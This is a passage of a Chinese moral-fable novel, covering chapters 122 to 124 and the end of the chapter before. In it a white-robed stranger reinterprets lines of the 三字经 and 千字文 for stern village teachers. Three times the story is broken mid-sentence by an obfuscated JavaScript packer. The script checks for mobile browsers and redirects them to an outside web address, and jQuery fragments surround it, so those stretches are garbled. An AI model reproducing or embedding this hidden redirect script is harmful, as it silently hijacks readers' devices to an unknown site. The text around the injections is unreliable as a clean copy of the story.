他将糖人分给孩子,对严夫子道:“夫子教‘勤有功,戏无益’,是怕孩童耽于嬉戏。可若孩童从戏中学仁、学义、学礼、学智,这戏,便是勤的另一种模样。” 六、 灶王节的糖 日头偏西,糖坊开始收摊。白衣人将最后一块糖画成灶王爷,粘在墙上。 “今日灶王节,送灶神上天言好事。灶神看一家善恶,不看这家有无进士,不看这家有无牌坊,只看这家人是否勤勉,是否和睦,是否行善。” 他指向劝学堂:“学堂如灶,夫子如灶神,看学童是否勤学,是否明理,是否行正。但灶神亦知,火太旺,饭易焦;火太弱,饭易生。勤学如灶火,要旺,也要匀。” 严夫子默然良久,忽对白衣人深深一揖:“听君一席话,如醒醐灌顶。老朽……惭愧。” 白衣人还礼:“夫子严教,本心是善。只是劝学如熬糖,火候要准,搅动要匀,急了易焦,慢了不化。犬守夜是勤,鸡司晨是勤,蚕吐丝是勤,蜂酿蜜是勤——可它们勤得自然,勤得本分。人劝学,当劝这自然勤、本分勤,莫劝那功利勤、虚名勤。” 他收拾物什,对孩童们道:“今日灶王节,回家吃糖,也想想:你是愿做守夜犬,还是愿做明理人?是愿做吐丝蚕,还是愿作德人?勤要勤在何处,学要学为何事。” 尾声·劝学新声 那年后,劝学堂变了样子。 严夫子不再一味训诫“人不学不如物”,而是每讲此段,必问学童:“犬守夜为何?鸡司晨为何?蚕吐丝为何?蜂酿蜜为何?”学童答:“为守宅、报时、作衣、酿甜。”夫子再问:“那人为何学?”有答“为明理”,有答“为作事”,有答“为行善”。夫子皆颔首。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213850|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他自撰一联,悬于学堂: 犬守夜守宅,人守夜守心,守心方为人 蚕吐丝作衣,人作事作德,作德方不物 阿卯后来继承豆腐坊,将店名改为“一清斋”,取“一清二白”之意。他说:“我爹教我豆腐要嫩,卤水要准,压板要平——这是豆腐经。我加一条:做人要清,行事要白。这做人的道理,是白衣先生灶王节那日,用糖画教我的。” 而那个熬糖画的白衣人,灶王节后便无踪影。但每年腊月廿三,劝学堂前总有陌生人来熬糖画,糖画总是犬、鸡、蚕、蜂、读书小人。熬糖人总说:“勤有功,戏亦有功。勤在明理,戏在悟道。” 后来苏州城流传开一首新童谣,孩童们拉糖时唱: “犬守夜,鸡司晨,守司是本分。 蚕吐丝,蜂酿蜜,吐酿是本分。 人守心,人作德,守作是本分。 幼学理,壮行善,学行是本分。 扬名要扬清名,显亲要显德亲。 光前要光仁前,裕后要裕善后。 遗子金,子会散,遗子经,子会忘。 遗子一颗清明心,胜却金玉与书卷。 勤有功,戏有益,戒之哉,宜明理——” 严夫子八十寿辰时,学童们送他一副糖画对联: 上联:犬守夜鸡司晨物尽其性 下联:人守心学明理人尽其本 横批:勤在明处 夫子将糖画悬于堂前,每日对之自省:“我教了一辈子‘人不学不如物’,却不知人若不明理而学,真不如物。犬守夜尚知守宅,人守夜当知守心。守心,才是真学,真勤,真人之本分。” 本章诫世 一、 劝学真义训 - 犬守夜,鸡司晨。苟不学,曷为人。蚕吐丝,蜂酿蜜。人不学,不如物。幼而学,壮而行。上致君,下泽民。扬名声,显父母。光于前,裕于后。人遗子,金满赢。我教子,唯一经。勤有功,戏无益。戒之哉,宜勉力 - 破解法:劝学者,自问“学为何?为人,为何人?为不如物,为何物?致君泽民,为何致泽?扬名显亲,为何扬显?遗子一经,经为何经?勤有功,勤在何处?戏无益,戏真无益?” 二、 四本四问 - 犬鸡之问——犬守夜是为守宅,鸡司晨是为报时。人学是为守心惜时,还是为功名利禄?若为后者,真不如犬鸡 - 蚕蜂之问——蚕吐丝是为作衣,蜂酿蜜是为酿甜。人学是为作德酿善,还是为锦衣玉食?若为后者,真不如蚕蜂 - 名利之问——扬名显亲、光前裕后,是扬清名、显德亲、光仁前、裕善后,还是扬虚名、显势亲、光利前、裕财后?若为后者,是遗祸非遗福 - 遗教之问——遗子一经,是遗仁义礼智之经,还是遗功名利禄之经?是遗明理行善之经,还是遗死记硬背之经?若为后者,经是空经 - 勤戏之问——勤有功,是勤在明理行善,还是勤在死读苦熬?戏无益,是戏在荒废光阴,还是戏在悟道练心?若不分清,是误人子弟 三、 熬糖大道 - 深层隐喻:劝学如熬糖。糖是学问,火是勤勉,搅动是方法,火候是分寸。火太旺,糖易焦(勤成死读);火太弱,糖不化(惰成废学)。搅太快,糖不匀(学不成体);搅太慢,糖结块(学不通透)。熬糖要知糖性,劝学要知人性。犬鸡蚕蜂,各依本性而活;人当依本心而学,非依外力而迫 - 终极指向:世人劝学,易入歧途:以犬鸡蚕蜂责人,却不知人当有高于犬鸡蚕蜂之求;以名利劝学,却不知名利是糖衣,易糊心;以勤戏为敌,却不知戏是学之另一法。劝学当劝守心、惜时、作德、酿善、扬清、显德、光仁、裕善、遗明、行正。如此,方是真人不愧对犬鸡蚕蜂,真学不愧对“经”之一字 灶王劝学偈: 灶王节里劝学堂,严师教诵劝学章。 犬鸡蚕蜂不如物,幼学壮行扬名声。 白衣糖坊说故事,守夜司晨是本分。 吐丝酿蜜是本分,人守心学是本分。 名利是糖勤是火,劝学当知火候匀。 后世叹: 犬守夜,鸡司晨,守司是本分非比人。 蚕吐丝,蜂酿蜜,吐酿是本分非比人。 人守心,人明理,守明是本分方为人。 严师劝学责犬鸡,白衣说人当守心。 从此劝学先问心,心明方是真勤学。 正是: 灶王节里劝学声,严师堂前训蒙童。 犬鸡蚕蜂不如物,幼学壮行扬名声。 白衣糖坊说故事,劝学当劝守心学。 从此劝学不责物,但问本心明不明。 122.开蒙谳 楔子·春分开蒙 春分时节,济南城“蒙正堂”开馆授徒。白发苍苍的蒙师贺老夫子焚香净手,领着三十蒙童,对堂上“天地君亲师”牌位行三跪九叩大礼。礼毕,童子们端坐蒲团,贺老夫子朗声开讲: “今日开蒙第一课,讲《千字文》开篇——天地玄黄,宇宙洪荒。日月盈昃,辰宿列张。此十六字,包罗万象,尔等当谨记:天玄地黄,是为尊卑;宇宙洪荒,是为初辟;日月盈昃,是为时序;辰宿列张,是为规矩。天地有常,人当效之;日月有序,人当循之……” 正讲得肃穆,堂外忽传来清亮儿歌: “天苍苍,地皇皇,春分一到昼夜平。 宇为檐,宙为梁,古字说来屋里藏。 日头升,月头沉,光阴去如马蹄轻。 星星棋,宿宿局,不如东风送纸鸢——” 贺老夫子眉头一皱,拄杖出堂。但见墙外打谷场上,十几个孩童正围着一个白衣人放纸鸢。白衣人立在春风里,手中线轴转动,一只青黄相间的“玄黄鸢”扶摇直上。斗笠是新柳与迎春花枝混编,檐边缀着几朵嫩黄小花。白衣是细麻所制,洗得发白,袖口用靛青丝线绣着云纹。木剑插在土中,剑穗是褪色的五色丝绦打成蝴蝶结。面上蒙着本色棉纱,只露出一双含笑的眼睛,正教一个总角童子牵线。 “放肆!”贺老夫子顿杖,“开蒙大礼,尔等在此嬉戏喧哗,成何体统!” 白衣人将线轴交给童子,拱手一揖:“夫子息怒。在下教孩子们放鸢,正是感悟天地——鸢飞天上,线牵手中,恰如人立天地间,上有玄黄,下有根本。” “胡言乱语!”贺老夫子冷笑,“《千字文》乃圣贤经典,岂是纸鸢可喻?你既敢扰馆,可敢进堂解说真义?也让这些蒙童知道,何谓天地正道!” 一、 玄黄何物 白衣人随贺老夫子进堂。三十蒙童正襟危坐,眼珠却瞟向窗外翩跹的纸鸢。 白衣人从怀中取出一方靛青染布、一块赭黄泥土,置于案上。 “‘天地玄黄’。夫子解为天玄地黄,尊卑有序。敢问夫子,天何以玄?地何以黄?” 贺老夫子肃然:“天色深青为玄,象征高远尊贵;地色土黄为黄,象征厚重卑下。天尊地卑,纲常始定。” 白衣人将染布举起,对着天窗:“此刻天光正好,请诸童看天——天是玄色么?” 蒙童们仰头,但见春日上午,天色碧青如洗,间有白云。 “非玄,乃青。”白衣人将染布覆在赭土上,“再请看地——堂前春泥,可是正黄?” 众童探头,见窗外泥地因晨露未干,呈深褐色。 “非正黄,乃赭褐。”白衣人慢声道,“天本无色,因日光而现蓝;地本杂色,因水土而呈黄。所谓玄黄,是人眼见之色,非天地本色。” 他走到窗边,指向远山:“春日山色,有青、绿、黛、苍。秋日山色,有黄、赭、金、赤。天地之色,四时不同,晨昏各异,岂止玄黄?” 贺老夫子面色一沉:“你这是诡辩!玄黄乃取象比类,非实指颜色!” “正是取象比类。”白衣人转身,“既比类,当比其神,非比其色。天之神,在包容万物,不分尊卑;地之神,在承载众生,不论贵贱。若只执玄为尊、黄为卑,岂不辜负天地本心?” 他将染布与赭土分给前排蒙童:“天包容日月星辰,是为仁;地承载山川河岳,是为义。仁与义,可论尊卑乎?” 二、 宇宙何物 窗外纸鸢愈飞愈高,渐成黑点。白衣人指鸢问道:“那鸢在何处?” “在天上!”众童齐答。 “天上何处?” “在……在云边。” “云边何处?” 蒙童语塞。 白衣人从怀中取出一段麻绳,绳上每隔一寸系一小结。 “古人云:‘上下四方曰宇,往古来今曰宙。’宇是空间,宙是时间。这绳上每个结,可代表一辰、一宿、一山、一川、一城、一池。” 他将绳拉直:“但若将这‘宇宙’看得太死,便如这绳——绷得笔直,却失了天地本来的圆融。” 又将绳轻轻一抛,绳在空中划出柔和的弧线,落在沙盘上,自成蜿蜒形状。 “真正的宇宙,当如这绳——有直有曲,有方有圆。天圆地方,是古人观天察地之得,然天有无垠星汉,地有无尽山川,岂是一个‘圆’一个‘方’可尽?” 他指着沙盘中绳痕:“这弯曲处,可是宇?这结点,可是宙?都是,也都不是。宇宙本无界,是人强为之界;洪荒本无时,是人强为之时。” 贺老夫子听得怔住,半晌道:“依你之见,‘宇宙洪荒’当作何解?” “宇宙是家园,洪荒是初心。”白衣人缓声道,“人立天地间,当知家在何处,心在何方。而非执着上下四方之界、往古来今之限。” 三、 盈昃何意 日头渐高,阳光斜入堂内,在地上投出窗格光影。白衣人指着光影:“看,日头在移。” 他取出一只陶碗、一碗清水,置于光中。水光潋滟,映得满堂碎金。 “‘日月盈昃’。日月为何有盈昃?是因它们运行有度,不疾不徐。日满为盈,月缺为昃,此乃天道循环。” 又将陶碗倾斜,水流出一线:“但若人只看盈昃,不见循环,便会生贪——望日长盈不昃,望月长满不缺。可日若长盈,禾苗枯焦;月若长满,潮汐失序。” 他将碗扶正,又注入清水:“天地之道,在均衡。盈时不骄,昃时不馁。日有升落,月有圆缺,方有四时有序、万物生长。人效天地,当时时自省:我此刻是盈是昃?盈时当思昃,昃时当待盈。” 一蒙童忽问:“先生,我背不出书时是昃,背出时是盈么?” 白衣人微笑:“背出时是盈,可若自满,盈转昃;背不出时是昃,可若苦学,昃转盈。天地循环,人心亦如是。” 四、 辰宿何用 日头当顶,窗外纸鸢已小如雀卵。白衣人从怀中取出一张星图,在沙盘上以白石、黑石排布。 “‘辰宿列张’。辰为日、月、星统称,宿为星宿。古人观天,将星辰分列二十八宿,张布周天,以定时令、辨方位。” 他以白石为北斗,黑石为列宿:“这列张,是规矩。春耕秋收,看星宿位置;航海行路,凭星辰指引。但——” 他忽然将星图一拂,白石黑石混作一堆。 “若人只知星辰列张,不知其运转之理,便会迷于表象。譬如农人只知‘参星中而耕’,不知参星为何中,便是盲从。舟子只知‘凭北斗指北’,不知北斗为何指北,便是盲信。” 他将白石拣出,在沙上画了个圆:“辰宿列张,是天地立的规矩。人遵规矩,也要明规矩之所以然。读书亦然——字句是星辰,道理是轨道。若只背诵字句,不明道理,便是只见辰宿,不见宇宙。” 贺老夫子听到此处,长叹一声:“老朽教《千字文》三十年,从‘天地玄黄’开蒙,只教童子认字释义,从未教他们问‘天何以玄、地何以黄、宇宙何以洪荒、日月何以盈昃、辰宿何以列张’。今日听君一席话,惭愧,惭愧。” 白衣人躬身:“夫子教蒙童识字明理,本是功德。只是蒙童如春苗,既需规矩,也需天地。规矩是字句,天地是道理。有规矩,苗可直;有天地,苗可壮。” 五、 开蒙的真义 午时将至,堂外传来饭香。白衣人邀众童到打谷场,教他们将手中“玄黄鸢”齐齐放飞。 三十只纸鸢腾空,青黄交错,如天地倒悬。 白衣人朗声道:“今日开蒙,夫子教你们‘天地玄黄,宇宙洪荒。日月盈昃,辰宿列张’。这是规矩,是框架,是你们读书的起点。” 他指着漫天纸鸢:“可真正的天地,是这无垠青空,任鸢翱翔。真正的宇宙,是这无限时空,容鸢浮沉。日月是那东升西落的太阳,照鸢生辉。辰宿是那不可见的轨道,引鸢不乱。” “你们手中的线,是规矩。鸢在天上,是道理。有线,鸢不失;有鸢,线有用。读书识字,是握线;明理践行,是放鸢。只握线不放鸢,线是死物;只放鸢不握线,鸢是断雁。” 他将线轴交给贺老夫子:“夫子,开蒙如放鸢。您教他们握线之法,也要容他们放鸢之心。线要牢,心要高,鸢才能既不离线,又翔九天。” 贺老夫子接过线轴,仰观漫天纸鸢,良久,对三十蒙童道:“今日开蒙第一课,老夫加一句:天地玄黄,玄是包容,黄是承载。宇宙洪荒,宇是家园,宙是光阴。日月盈昃,盈是满而不溢,昃是缺而不馁。辰宿列张,列是规矩,张是活用。尔等可记下了?” 蒙童们齐声:“记下了!” “那便去放鸢吧。放鸢时,想想何为天,何为地,何为宇宙,何为日月星辰。” 尾声·鸢书同春 自那日后,蒙正堂的规矩改了。 贺老夫子仍教《千字文》,但每教一句,必问蒙童:“你以为如何?可有他解?”有童子说“天是青的,因我见青”,夫子说“可”;有童子说“地是褐的,因我踏褐”,夫子说“可”;有童子说“宇宙是院子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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- 破解法:开蒙者,自问“天地何物?宇宙何物?日月何意?辰宿何用?玄黄是色是德?洪荒是时是心?盈昃是象是道?列张是规是活?” 二、 四问四解 - 玄黄问——天何以玄?地何以黄?是天尊地卑,还是天仁地义?是色也,德也?若只执色,是盲;若只见德,是空。玄是包容,黄是承载,方是天地本心 - 宇宙问——宇宙是上下四方、往古来今,还是无垠家园、无穷光阴?是框也,心也?若只执框,是囚;若只凭心,是妄。宇是家园,宙是初心,方是立身之本 - 盈昃问——日月盈昃,是天道循环,还是人心起伏?是象也,道也?若只观象,是迷;若只求道,是虚。盈时不骄,昃时不馁,方是天地之道 - 列张问——辰宿列张,是规矩森严,还是活用有序?是规也,活也?若只守规,是死;若只求活,是乱。列是规矩,张是活用,方是处事之方 三、 鸢线大道 - 深层隐喻:开蒙如放鸢。鸢是童心,线是蒙训。鸢无线,则失于狂放;线无鸢,则死于僵直。天地玄黄,是鸢翱翔之空;宇宙洪荒,是鸢浮沉之时;日月盈昃,是鸢升落之轨;辰宿列张,是鸢不乱之矩。蒙师教蒙,当教握线之法,亦当教放鸢之心。线要牢,是字句要准;心要高,是道理要明。鸢在线中,线在鸢中,鸢线一体,方是开蒙正途 - 终极指向:世人开蒙,易入歧途:以玄黄定尊卑,失天地包容之心;以宇宙为死框,失家园温情之意;以盈昃为天命,失自强不息之志;以列张为铁律,失灵活变通之智。开蒙当开心眼,非只开肉眼。心眼一开,鸢飞九天,线在手中,天地宇宙,日月星辰,皆在方寸之间 春分开蒙偈: 春分时节蒙正堂,贺师开蒙讲玄黄。 天地宇宙日月星,字字句句是规矩。 白衣放鸢说故事,玄黄是德非颜色。 宇宙是心非死框,盈昃是道非天命。 从此开蒙先开心,心眼开处天地宽。 后世叹: 天地玄黄本无色,人心自染青与黄。 宇宙洪荒本无界,家园自在方寸间。 日月盈昃是常道,满缺不惊是修为。 辰宿列张是规矩,守活用方是真知。 贺师开蒙三十载,白衣一鸢点童心。 正是: 春分时节开蒙日,蒙正堂前诵玄黄。 天地宇宙日月星,字字如铁是规矩。 白衣场外放纸鸢,鸢飞九天线在手。 从此开蒙不框心,鸢线相牵是正途。 123.四时谳 楔子·秋分观星 秋分时节,成都府观象台上,司天监博士何先生正领官学十数童子观天测候。台上浑仪显象,圭表立影,漏刻涓滴,童子肃然侍立,闻先生讲授: “……寒来暑往,秋收冬藏,此四时之序也。闰余成岁,律吕调阳,此历法之要也。尔等观之——日行南陆为冬,北陆为夏;月有朔望,年置闰余。天地运行,自有常度。人顺天时,乃得正道……” 言未竟,台下市井忽传童谣清越: “寒至授衣,暑来摇扇,往来成岁。 秋敛仓实,冬藏窖鲜,藏用依节。 闰积余分,以正岁序,岁序方全。 律吕调阳,中气乃宣。大乐与和,本乎心源。” 何先生凭栏蹙眉下观,见“锦江茶肆”天井内,众街童围一白衣人歌跃。其人坐青石井栏,前置黄叶数片、新稻几穗、白菜两棵、炭薪少许。竹篾杂桂枝编为斗笠,檐缀金桂;葛麻白衣浆洗发白,肩栖落英。膝横木剑,剑穗乃五色旧绦结成百稼式样;面覆本色棉纱,唯见双眸温润含笑,正执黄叶教垂髫童子折舟。 “殊为轻妄!”先生拂袖斥道,“秋分测晷,乃朝廷敬天授时之大典。尔市井闲杂,安敢嬉戏妄言,乱议历法?” 白衣人仰首,声若秋涧漱石:“先生且息嗔意。在下教童子折叶,正是体察四时——叶黄而堕,乃寒来之信;叶落归根,乃冬藏之象。一叶可知秋,一叶亦可参岁。” 何先生冷笑:“尔既知四时历法之要,可敢登台一论?亦令诸生闻辨,何为真知正理。” 一、寒来暑往真意 白衣人随何先生登台。官学童子见其布衣斗笠,皆露疑色。白衣人取素绢展于石案,上绣四季图:春耕、夏耘、秋收、冬藏。 曰:“‘寒来暑往’,何先生解为四时之序,固然。然四时之序,序在何处?在天文,则日行南北;在农事,则耕播收藏;在人情,则何如?” 一童对曰:“添减衣裳。” 白衣人颔首:“善。老农观天,知寒添衣,知暑摇扇。此添减者,顺天而应人也。若徒知天时而不察人情,譬如朝廷颁历,告民某日入冬,然是日秋阳尚暖,民犹着单衣,将信历乎?信身乎?故寒来暑往,当以身为尺,以心为度。身历寒暑,方得真知四时。” 何先生捻须曰:“此言有理。历法,常也;人情,变也。常变相济,乃为正道。” 白衣人指圭表曰:“日影长短,常也。然秋分昼夜均,若遇阴雨不见日影,何以测时?则需漏刻、更香、鸡鸣、人息,此皆变也。故四时之序,序在常,亦在变。” 二、秋收冬藏实理 台上风起,吹动白衣人袖中稻穗。取穗在手,徐曰:“‘秋收冬藏’,何先生解为农事,固然。然收者何物?藏者何物?” 一童对曰:“收谷,藏粮。” “复有何物?” 众童莫对。 白衣人探袖出数物:一袋谷种、一卷书、一包药草、一块木炭。 “农收谷而藏粮,所以养生。士收言而藏卷,所以明道。医收草而藏方,所以济人。匠收薪而藏炭,所以御寒。收之与藏,非惟生计,亦为传续。” 以谷种付农家子曰:“此谷,今秋所收,来春所播。收之今日,藏之冬日,播之来岁,其理一也。” 以书卷付书生子曰:“此书,今岁所读,终身所用。读之在秋,藏之在心,用之在平生,其理亦一也。” 复以药草、木炭分授众人:“秋收冬藏,收者,当下之生计;藏者,来日之凭借。有收无藏,来岁无凭;有藏无收,今日无食。收与藏相济,乃成岁功,亦成人道。” 何先生抚掌曰:“善哉此言。如此则秋收冬藏,不惟在田,亦在心矣。” “在田者,实谷;在心者,实理。”白衣人指台下茶肆,见老妪曝菜于檐,小儿储梨于瓮,“老妪晒菹,为冬月之备;小儿藏果,期雪中之甘。其藏之中,有养家之慈,有娱亲之孝,有生之趣,有味之永。此乃真秋收冬藏也。” 三、闰余成岁奥妙 晷影渐移,白衣人至漏刻前,俯观滴漏。 “‘闰余成岁’,何先生解为历法之精,固然。然闰从何来?余在何处?” 取算筹布于石案:“一年三百六十五日有奇,其奇者,约四分日之一。积四年而成一日,是谓闰日。此即‘闰余’。” 复布算筹:“然此‘余’者,果为余乎?天行有常,本无余欠。惟人以三百六十五日为一岁,强名余缺。此闰者,人补天算之阙耶?抑天示人以有余耶?” 一童疑曰:“先生之意,岂本无闰乎?” “非谓无闰,亦非无岁。”白衣人散算筹,“岁者,人所定之序;闰者,人所以齐天行之巧也。天地运化,自为圆融。寒暑交替,收藏有时,此天之常。人观其常,制为岁时,此人之明。然若泥历而忘天,执岁而失时,则失其本矣。” 指西方欲坠之日:“今当秋分,昼夜宜均。然吾若曰‘天当即暝’,天果随之暝乎?天自有时,人自有历。历合天时,智也;历悖天行,惑也。闰余成岁,成者人之岁,非天之岁。人当敬天,亦当自知。” 何先生默然良久,揖曰:“承教矣。老朽治历廿载,惟知推步,不悟天人相与之际,竟有深理若此。” 白衣人还礼曰:“先生测天授时,泽被生民,功德非浅。然历者,器也;人者,本也。使民按历而耕,而不知耕之理,是有历而无智。闰余可成岁,心亦可成年。年在心,不在历。” 四、律吕调阳深意 白衣人取陶埙在手,轻吹数声,音苍而远。 “‘律吕调阳’,何先生解为音律应和节气,固然。然律吕何以调阳?阳何以需调?” 传埙与众童,续曰:“古之定音律,所以应节气。十二律吕,配十二月。冬至阳气始生,其音宜浊;夏至阳气极盛,其音宜清。音随气变,气感音应,此之谓‘调阳’。” 复取竹笛,吹《阳春》一曲。 “然此‘调’者,顺天地之气而和之,非强天地以就音也。若冬至而吹清越之音,虽美,与时不合。律吕之妙,在应时,不在强为。” 放笛,指台下人家灯火:“今当秋分,民间多奏《秋宵吟》,其音清肃,应秋气也。若奏春曲,虽婉转,与时相悖。律吕调阳,调者,人心合于天心也。人感秋凉而音肃,感春温而音和,此律吕在人心。” 一童忽曰:“吾母秋日纺棉,歌声清远;春日采桑,歌声婉转。此亦律吕调阳乎?” 白衣人抚掌曰:“然!令堂不习律吕,不识宫商,而歌随时变,心随气感,此真调阳也。律吕不在竹管,在人心;调阳不在音律,在人情。” 何先生叹曰:“老朽司天,但知测晷候气,制律定音,不意市井之间,妇人稚子,日日皆在‘调阳’。农人之歌、织女之吟、樵夫之号、舟子之唱,无一不与四时相应。此乃活律吕,活历法也。” 五、秋分的启示 月到中天,秋夜生寒。白衣人引诸童下台,至茶肆天井中。井栏旁已设秋分食案:新炊稻粥、秋梨凝膏、桂花蒸糕、渍菘菜心。 白衣人持勺分粥与诸童,徐言道:“今值秋分,何先生所授‘寒来暑往,秋收冬藏;闰余成岁,律吕调阳’十六字,实为天地常经,历法枢要。” 举箸指粥中米粒:“然此米,可谓农人依历而种、顺时而收者乎?可谓,亦不可谓。农人仰观天象,俯察地气,相看苗情,兼参历法。历者,考时之器;天者,授时之师;地者,载物之母;苗者,应时之子。四者相协,方得此粥。” 复指桂花糕:“至若桂花,本当秋分应侯而发。然若岁气偏寒,则花开先期;岁气偏暖,则芳迟后时。历载秋分有定日,花开叶落无定期。故智者当知常法不可移,亦须知变通不可废。” 何先生捧粥于手,谓诸童曰:“今日听讲,老夫添一语尔等须谨记:体察寒暑,当以身为衡度;慎行收藏,当以心为仓廪;明晓闰岁,当知天道本无岁序;领悟调阳,当知阳和自在人心。尔等能记否?” 众童齐声应道:“谨记!” 先生颔首:“且用粥罢。此粥之中,含四时之序,藏历法之精,蕴律吕之谐,具寒暑之变,寓收藏之理——食而入腹,化入身心,方为真学问。” 尾声·活历法 自那日后,观象台多一景。 何先生仍每日测影观星,制历授时。但每颁新历,必附一小册,名曰《农时便览》。其中不独书节气日期,更注:“某日宜耕,然若地未化透,可迟三日;某日宜收,然若穗尚青,且延五天。”又录《乡音节气歌》一卷,收樵歌、渔唱、纺谣、耕谚,注于历末。 台前立一小碑,镌白衣人语: 寒来暑往,身是尺 秋收冬藏,心是仓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217050|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闰余成岁,天无岁 律吕调阳,阳在心 官学童子每月须下田野,问老农种收之候;访街巷,听百姓应时之歌。有童问:“此于科举有助否?”何先生答曰:“科举取士,取明理之人。四时不明,人情不晓,纵登科第,何益于民?” 后数年,成都府渐成一俗:每岁秋分,农人、匠人、商贾、医者不约而至,聚于观象台下,各呈其业之所获。农献新谷,匠呈新器,商陈新货,医奉新方。何先生观之,叹曰:“此乃真闰余成岁——百姓生计,岁岁常新;此乃真律吕调阳——百姓歌哭,声声应时。” 白衣人此后不复见。然每至秋分,观象台前总有陌路之人,留一物而去:或稻穗一束,或歌谣一卷,或菜种一包,或木炭数块。留者惟言:“寒来暑往,秋收冬藏。闰余在心,律吕在口。” 何先生致仕之年,诸童为其编《四时便览》一册,序出其手: “司天四十载,方知天在民间。 寒暑在身,收藏在心,闰余在生,律吕在情。 民之所历,乃真历法;心之所感,乃真律吕。 白衣一点,秋分开蒙。 自此观天先观人,制历先制心。” 秋分之夜,老司天监凭栏望月,但见万家灯火,炊烟四起。风中隐约闻童谣: “寒来添衣暑打扇,秋收谷子冬存菜。 闰月多出团圆日,人心和合律吕调。 历法原是活人定,莫被死历困住了——” 老监捻须微笑,举杯对月:“寒来暑往,秋收冬藏。闰余成岁,律吕调阳。此十六字,老夫解了四十年,今日方觉通透。透在何处?透在粥饭里,透在布衣上,透在歌哭中,透在人心头。天行有常,人活有方。常方相济,便是好年景。” 月满天心,清辉万里。天地不言,四时自行。而行于四时中者,有历法之序,有音律之和,有寒暑之变,有收藏之备,更有那寻常巷陌间,烟火人家的温饱与传承。 本章诫世 一、 四时真义训 - 寒来暑往,秋收冬藏。闰余成岁,律吕调阳 - 破解法:观时者,自问“寒暑何物?收藏何意?闰余何来?律吕何用?是历法,是生计,是音律,是人心?” 二、 四时四活 - 寒来暑往——是天道之序,也是人情之变。当以身度天,非以天制身 - 秋收冬藏——是农事之要,也是人生之智。收是得,藏是用;得在当下,用在将来 - 闰余成岁——是历法之精,也是人心之补。天本无岁,人定有年;年岁在人心,不在历书 - 律吕调阳——是音律之妙,也是人情之应。阳在天,更在心;调阳是调心,合天 - 四明:四时是活时,历法是活历,音律是活律,人心是活心。执死则僵,知活则通 三、 活历大道 - 深层隐喻:四时如环,历法如尺,音律如歌。环是天地之常,尺是人之度量,歌是心之应和。寒来暑往,是环转;秋收冬藏,是环用;闰余成岁,是环补;律吕调阳,是环歌。人立环中,当知环之常,也当知己之变。以常应变,以变顺常,方是活在天地方圆之中 - 终极指向:世人观四时,易入歧途:以历法为铁则,不知天有变;以音律为玄妙,不知心有歌;以寒暑为天命,不知身有度;以收藏为农事,不知生有智。真正的四时,在农人锄下,在织女机上,在樵夫担中,在童子歌里。活人活历,活心活律,才是真寒暑、真收藏、真闰余、真律吕 秋分历偈: 秋分成都观象台,何师授历讲四时。 寒暑收藏闰余律,字字句句是天法。 白衣台下说故事,寒暑在身非在天。 收藏在心非在仓,闰余在生非在历。 从此观天先观人,历法人心律是歌。 后世叹: 寒来暑往是流年,秋收冬藏是生计。 闰余成岁是人补,律吕调阳是心应。 何师授历重天法,白衣说时重人情。 从此四时是活时,活人在世是活历。 正是: 秋分成都说四时,观象台前授历法。 寒暑收藏闰余律,天行有常人有方。 白衣井边说故事,四时在人不惟天。 从此历法是活历,音律是歌在人心。 124.造化谳 楔子·谷雨观天 谷雨时节,杭州城“望湖楼”上,理学先生贾夫子正襟危坐,对十几个士子讲授《千字文》精义: “……云腾致雨,露结为霜。此乃阴阳化育之理。云者,水汽升腾,遇冷凝而成雨;露者,地气上浮,遇寒凝而为霜。金生丽水,玉出昆冈。此乃五行生克之道。金生水,故丽水产金;玉蕴石中,故昆冈出玉。此四句,字字合于天道,尔等当深研……” 正讲得庄重,楼下西湖堤上传来清亮渔歌: “云腾是水汽,致雨是泪滴。 露结是珍珠,为霜是盐粒。 金生不在水,在人心头记。 玉出不在冈,在匠人手底——” 贾夫子皱眉推窗,但见苏堤春晓处,众渔童正围着一个白衣人唱和。白衣人坐在柳下石凳,面前摊着几只瓦罐:一罐清水,一罐白盐,几块顽石,几片生锈的铜片。斗笠是细竹与柳絮混编,檐边缀着几串雨铃。白衣是粗麻所制,洗得发白,衣襟沾着湖上水汽。木剑倚在柳干,剑穗是褪色的五色丝绦打成流水结。面上蒙着本色棉纱,只露出一双澄澈如西湖的眼睛,正教一个小渔童用苇管吹水泡。 “荒谬!”贾夫子拂袖,“云雨霜露,乃天地正气;金玉宝器,乃造化精华。尔等渔子,安敢以盐粒泪滴比之?” 白衣人抬头,声音清润如春雨:“先生教训得是。在下教孩子们观水玩石,正是感悟造化——水汽升腾是云,云遇冷是雨,雨落地是水,水汽凝是露,露寒是霜。这本就是水之循环,与泪滴盐粒,皆是水之化身,有何不可比?” 贾夫子冷笑:“你既敢妄解天地,可敢上楼来论?也让这些士子听听,何为真造化!” 一、 云雨的真身 白衣人随贾夫子上楼。士子们见他布衣素履,皆有轻色。白衣人从怀中取出一面铜镜,对空映照,镜中现出流云。 “先说‘云腾致雨’。贾夫子解为阴阳化育,极是。但云从何来?雨归何处?” 他将铜镜转向西湖,镜中水光潋滟。 